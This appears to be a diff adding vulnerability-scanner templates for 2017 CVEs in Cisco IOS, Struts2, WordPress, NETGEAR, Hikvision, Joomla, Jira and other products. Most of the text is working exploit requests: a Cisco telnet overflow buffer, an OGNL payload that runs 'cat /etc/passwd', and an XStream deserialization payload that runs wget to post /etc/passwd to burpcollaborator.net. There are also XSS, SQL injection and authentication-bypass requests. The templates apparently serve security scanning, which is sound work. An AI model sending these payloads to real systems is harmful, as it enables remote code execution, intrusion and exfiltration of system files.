+  name: Cisco IOS 12.2(55)SE11 Remote Code Execution
+  author: dwisiswant0
+  severity: critical
+  reference: |
+    - https://github.com/artkond/cisco-rce
+    - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
+    - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/dos/cisco/ios_telnet_rocem.md
+  description: RCE exploit code is available for Cisco Catalyst 2960 switch model. This exploit is firmware dependent.
+  tags: cve,cve2017,cisco,rce,network
+
+network:
+  - inputs:
+      - data: "{{hex_decode('fffa240003')}}CISCO_KITS{{hex_decode('01')}}2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{{hex_decode('000037b4023d55dc0000999c')}}BBBB{{hex_decode('00e1a9f4')}}CCCCDDDDEEEE{{hex_decode('00067b5c023d55c8')}}FFFFGGGG{{hex_decode('006cb3a000270b94')}}HHHHIIII{{hex_decode('014acf98')}}JJJJKKKKLLLL{{hex_decode('0114e7ec')}}:15:{{hex_decode('fff0')}}"
+        read: 1024
+      - data: "show priv"
+        read: 1024
+    host:
+      - "{{Hostname}}:23"
+    read-size: 1024
+    matchers:
+      - type: word
+        words:
+          - "Current privilege level is"

cves/2017/CVE-2017-5487.yaml

@@ -0,0 +1,30 @@
+id: CVE-2017-5487
+
+info:
+  name: WordPress Core < 4.7.1 - Username Enumeration
+  author: Manas_Harsh,daffainfo
+  severity: medium
+  description: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API implementation in WordPress 4.7 before 4.7.1 does not properly restrict listings of post authors, which allows remote attackers to obtain sensitive information via a wp-json/wp/v2/users request.
+  tags: cve,cve2017,wordpress
+  reference: |
+      - https://nvd.nist.gov/vuln/detail/CVE-2017-5487
+      - https://www.exploit-db.com/exploits/41497
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-json/wp/v2/users/"
+      - "{{BaseURL}}/?rest_route=/wp/v2/users/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '"id":'
+          - '"name":'
+          - '"avatar_urls":'
+        condition: and

cves/2017/CVE-2017-5521.yaml

@@ -0,0 +1,27 @@
+id: CVE-2017-5521
+info:
+  name: Bypassing Authentication on NETGEAR Routers
+  author: princechaddha
+  severity: medium
+  description: An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices.They are prone to password disclosure via simple crafted requests to the web management server.
+  reference: |
+    - https://www.cvedetails.com/cve/CVE-2017-5521/
+    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2017-5521-bypassing-authentication-on-netgear-routers/
+  tags: cve,cve2017,auth-bypass
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/passwordrecovered.cgi?id=nuclei"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "right\">Router\\s*Admin\\s*Username<"
+          - "right\">Router\\s*Admin\\s*Password<"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-5638.yaml

@@ -0,0 +1,27 @@
+id: CVE-2017-5638
+info:
+  author: Random_Robbie
+  name: Apache Struts2 RCE
+  severity: critical
+  description: Struts is vulnerable to remote command injection attacks through incorrectly parsing an attacker’s invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
+  tags: cve,cve2017,struts,rce,apache
+  reference: https://github.com/mazen160/struts-pwn
+
+requests:
+  - raw:
+      - |
+          GET / HTTP/1.1
+          Host: {{Hostname}}
+          Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
+          Accept-Language: en
+          Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
+          Connection: Keep-Alive
+          User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
+          Pragma: no-cache
+          Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
+
+    matchers:
+      - type: word
+        words:
+          - "X-Hacker: Bounty Plz"
+        part: header

cves/2017/CVE-2017-7269.yaml

@@ -0,0 +1,36 @@
+id: CVE-2017-7269
+
+info:
+  name: Windows Server 2003 & IIS 6.0 RCE
+  author: thomas_from_offensity,geeknik
+  severity: critical
+  description: Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If <http://" in a PROPFIND request.
+  reference:
+    - https://blog.0patch.com/2017/03/0patching-immortal-cve-2017-7269.html
+    - https://github.com/danigargu/explodingcan/blob/master/explodingcan.py
+  tags: cve,cve2017,rce
+
+requests:
+  - method: OPTIONS
+    path:
+      - "{{BaseURL}}"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "IIS/6.0"
+        part: header
+
+      - type: dsl
+        dsl:
+          - regex("<DAV:sql>", dasl)    # lowercase header name: DASL
+          - regex("[\d]+(,\s+[\d]+)?", dav)    # lowercase header name: DAV
+          - regex(".*?PROPFIND", public)    # lowercase header name: Public
+          - regex(".*?PROPFIND", allow)    # lowercase header name: Allow
+        condition: or
+        part: header

cves/2017/CVE-2017-7391.yaml

@@ -0,0 +1,30 @@
+id: CVE-2017-7391
+
+info:
+  name: Magmi – Cross-Site Scripting v.0.7.22
+  author: pikpikcu
+  severity: medium
+  description: A Cross-Site Scripting (XSS) was discovered in 'Magmi 0.7.22'. The vulnerability exists due to insufficient filtration of user-supplied data (prefix) passed to the 'magmi-git-master/magmi/web/ajax_gettime.php' URL.
+  tags: cve,cve2017,magmi,xss
+  reference: https://github.com/dweeves/magmi-git/issues/522
+  # Download:-https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - '"><script>alert(document.domain);</script><'
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2017/CVE-2017-7615.yaml

@@ -0,0 +1,38 @@
+id: CVE-2017-7615
+
+info:
+  name: CVE-2017-7615
+  author: bp0lr,dwisiswant0
+  severity: high
+  description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
+  tags: cve,cve2017,mantisbt
+
+  # THIS TEMPLATE IS ONLY FOR DETECTING
+  # To carry out further attacks, please see reference[2] below.
+  # This template works by guessing user ID.
+  # MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1].
+
+  reference: |
+    - https://sourceforge.net/projects/mantisbt/files/mantis-stable/
+    - http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
+    - https://www.exploit-db.com/exploits/41890
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantis/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantisBT/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/mantisbt-2.3.0/verify.php?id=1&confirm_hash="
+      - "{{BaseURL}}/bugs/verify.php?confirm_hash=&id=1"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<input type=\"hidden\" name=\"account_update_token\" value=\"([a-zA-Z0-9_-]+)\""
+        part: body
+
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-7921.yaml

@@ -0,0 +1,27 @@
+id: CVE-2017-7921
+info:
+  name: Hikvision Authentication Bypass
+  author: princechaddha
+  severity: high
+  description: An Improper Authentication issue was discovered in Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.
+  reference: |
+    - http://www.hikvision.com/us/about_10805.html
+    - https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01
+  tags: cve,cve2017,auth-bypass
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/system/deviceInfo?auth=YWRtaW46MTEK"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<firmwareVersion>"
+        part: body
+
+      - type: word
+        words:
+          - "application/xml"
+        part: header

cves/2017/CVE-2017-8917.yaml

@@ -0,0 +1,19 @@
+id: CVE-2017-8917
+info:
+  name: Joomla SQL Injection
+  author: princechaddha
+  severity: high
+  description: SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers to execute arbitrary SQL commands via unspecified vectors.
+  reference: https://www.cvedetails.com/cve/CVE-2017-8917/
+  tags: cve,cve2017,joomla,sqli
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)"
+
+    matchers:
+      - type: word
+        words:
+          - "cf79ae6addba60ad018347359bd144d2"
+        part: body

cves/2017/CVE-2017-9140.yaml

@@ -0,0 +1,26 @@
+id: CVE-2017-9140
+
+info:
+  name: Reflected XSS - Telerik Reporting Module
+  author: dhiyaneshDk
+  severity: medium
+  tags: cve,cve2017,xss,telerik
+  description: Cross-site scripting (XSS) vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.
+  reference: https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - '#000000"onload="prompt(1)'
+          - 'Telerik.ReportViewer.axd?name=Resources'
+        condition: and

cves/2017/CVE-2017-9506.yaml

@@ -0,0 +1,29 @@
+id: CVE-2017-9506
+
+info:
+  name: Jira IconURIServlet SSRF
+  author: pdteam
+  severity: high
+  description: The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).
+  reference: |
+    - http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html
+    - https://ecosystem.atlassian.net/browse/OAUTH-344
+    - https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-171018bca2c3
+  tags: cve,cve2017,atlassian,jira,ssrf,oob
+
+requests:
+  - raw:
+      - |
+        GET /plugins/servlet/oauth/users/icon-uri?consumerUri=http://{{interactsh-url}} HTTP/1.1
+        Host: {{Hostname}}
+        Origin: {{BaseURL}}
+        Connection: close
+        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.9
+
+    matchers:
+      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
+        words:
+          - "http"

cves/2017/CVE-2017-9791.yaml

@@ -0,0 +1,36 @@
+id: CVE-2017-9791
+
+info:
+  name: Apache Struts2 S2-053 RCE
+  author: pikpikcu
+  severity: critical
+  description: The Struts 1 plugin in Apache Struts 2.1.x and 2.3.x might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
+  reference: |
+    - http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
+    - http://struts.apache.org/docs/s2-048.html
+  tags: cve,cve2017,apache,rce
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/integration/saveGangster.action"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      name=%25%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%23%71%29%7d&age=10&__checkbox_bustedBefore=true&description=
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "Content-Type: text/html"
+        part: header
+
+      - type: regex
+        regex:
+          - "root:[x*]:0:0"
+        condition: and
+
+      - type: status
+        status:
+          - 200

cves/2017/CVE-2017-9805.yaml

@@ -0,0 +1,90 @@
+id: CVE-2017-9805
+
+info:
+  name: Apache Struts2 S2-052 RCE
+  author: pikpikcu
+  severity: critical
+  description: The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type filtering, which can lead to Remote Code Execution when deserializing XML payloads.
+  reference: |
+    - http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
+    - https://struts.apache.org/docs/s2-052.html
+  tags: cve,cve2017,apache,rce,struts
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/struts2-rest-showcase/orders/3"
+      - "{{BaseURL}}/orders/3"
+    headers:
+      Content-Type: application/xml
+    body: |
+        <map>
+          <entry>
+            <jdk.nashorn.internal.objects.NativeString>
+              <flags>0</flags>
+              <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
+                <dataHandler>
+                  <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
+                    <is class="javax.crypto.CipherInputStream">
+                      <cipher class="javax.crypto.NullCipher">
+                        <initialized>false</initialized>
+                        <opmode>0</opmode>
+                        <serviceIterator class="javax.imageio.spi.FilterIterator">
+                          <iter class="javax.imageio.spi.FilterIterator">
+                            <iter class="java.util.Collections$EmptyIterator"/>
+                            <next class="java.lang.ProcessBuilder">
+                              <command>
+                                <string>wget</string>
+                                <string>--post-file</string>
+                                <string>/etc/passwd</string>
+                      <string>burpcollaborator.net</string>
+                              </command>
+                              <redirectErrorStream>false</redirectErrorStream>
+                            </next>
+                          </iter>
+                          <filter class="javax.imageio.ImageIO$ContainsFilter">
+                            <method>
+                              <class>java.lang.ProcessBuilder</class>
+                              <name>start</name>
+                              <parameter-types/>
+                            </method>
+                            <name>asdasd</name>
+                          </filter>
+                          <next class="string">asdasd</next>
+                        </serviceIterator>
+                        <lock/>
+                      </cipher>
+                      <input class="java.lang.ProcessBuilder$NullInputStream"/>
+                      <ibuffer></ibuffer>
+                      <done>false</done>
+                      <ostart>0</ostart>
+                      <ofinish>0</ofinish>
+                      <closed>false</closed>
+                    </is>
+                    <consumed>false</consumed>
+                  </dataSource>
+                  <transferFlavors/>
+                </dataHandler>
+                <dataLen>0</dataLen>
+              </value>
+            </jdk.nashorn.internal.objects.NativeString>
+            <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
+          </entry>
+          <entry>
+            <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
+            <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
+          </entry>
+        </map>
+
+    matchers-condition: and
+    matchers:
+
+      - type: word
+        words:
+          - "Debugging information"
+          - "com.thoughtworks.xstream.converters.collections.MapConverter"
+        condition: and
+
+      - type: status
+        status:
+          - 500